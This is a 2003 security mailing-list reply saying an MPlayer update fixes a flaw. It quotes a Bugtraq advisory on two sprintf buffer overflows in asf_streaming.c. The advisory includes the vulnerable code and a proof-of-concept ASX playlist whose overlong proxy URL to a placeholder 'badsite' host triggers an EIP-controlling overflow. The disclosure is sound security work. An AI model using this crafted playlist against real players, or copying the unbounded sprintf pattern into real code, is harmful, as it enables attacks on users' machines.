Security bugs are reported here via bugzilla

[Eric Sandall <eric AT sandall.us>]

I believe this is fixed by updating MPlayer to 0.92, which it already is.  ;)
Unfortunately, no one posted to any list about the vulnerability and it being
fixed.

2003-09-25  Arwed v. Merkatz <v.merkatz AT gmx.net>
 
                updated to 0.92, fixes a remote vulnerability

-sandalle

Quoting Craig Van Tassle <craig AT codestorm.org>:
> -------- Original Message --------
> Subject: Mplayer Buffer Overflow
> Date: Thu, 25 Sep 2003 19:17:49 -0500
> From: Otero, Hernan <hernan.otero AT eds.com>
> To: 'bugtraq AT securityfocus.com' <bugtraq AT securityfocus.com>
> 
> 
> Favorite Linux Player Buffer Overflow
> 
> 
>   Product:  Mplayer
>   Developers:  http://www.mplayerhq.hu
>   OS:    Port to All *NIX and Win32
>   Remote Exploitable:  YES
> 
> Developers has been contacted, problem was fixed, recomended update your
> mplayer version.
> 
>   In the source tree there is a file called asf_streaming.c this file has a
> function named asf_http_request, that function has two buffer overflows,
> this overflows are in the sprintf lines.
> 
> 
>   asf_http_request {
>               char str[250];
>               ....
>               ...
>               ..
>               sprintf( str, "Host: %s:%d", server_url->hostname,
>   server_url->port );
>               ....
>               ...     
>               ..
>               sprintf( str, "Host: %s:%d", url->hostname, url->port );
> 
>               ....
>               ...
>               ..
>   }
> 
> 
> 
>   This, at a first look, may look as it can´t be exploited ( because the
> MAXHOSTLEN size restriction )... but if in an ASX file like this with a
> "badsite" listening in "badport" send "\n\n" as answer you could lead to a
> fully controllable EIP buffer overflow
> 
> 
>   <asx version = "3.0">
>   <title>Bas Site ASX</title>
> 
>   <moreinfo href = "mailto:info AT badsite.com
>   <mailto:info AT badsite.com> " />
>   <logo href = "http://www.badsite.com/streaming/grupo.gif
>   <http://www.badsite.com/streaming/grupo.gif> " style="ICON" />
>   <banner href= "images/bannermitre.gif">
>   <abstract>Bad Site live</abstract>
>   <moreinfo target="_blank" href = "http://www.badsite.com/
>   <http://www.badsite.com/> " />
>   </banner>
> 
>   <entry>
>   <title>NEWS</title>
>   <AUTHOR>NEWS</AUTHOR>
>   <COPYRIGHT>© All by the news</COPYRIGHT>
>   <ref href =
> "http_proxy://badsite:badport/http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaa"/>
>   <logo href = "http://www.badsite.com/streaming/grupo.gif
>   <http://badsite.com/streaming/grupo.gif> " style="ICON" />
>   </entry>
>   </asx>
> 
> 
> 
>   Regards,
> 
>     Hernán Otero
>     hernan.otero AT eds.com
> 
> 
> _______________________________________________
> SM-Security mailing list
> SM-Security AT lists.ibiblio.org
> http://lists.ibiblio.org/mailman/listinfo/sm-security
> 


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Eric Sandall                     |  Source Mage GNU/Linux Developer
eric AT sandall.us                  |  http://www.sourcemage.org/
http://eric.sandall.us/          |  SysAdmin @ Inst. Shock Physics @ WSU
http://counter.li.org/  #196285  |  http://www.shock.wsu.edu/

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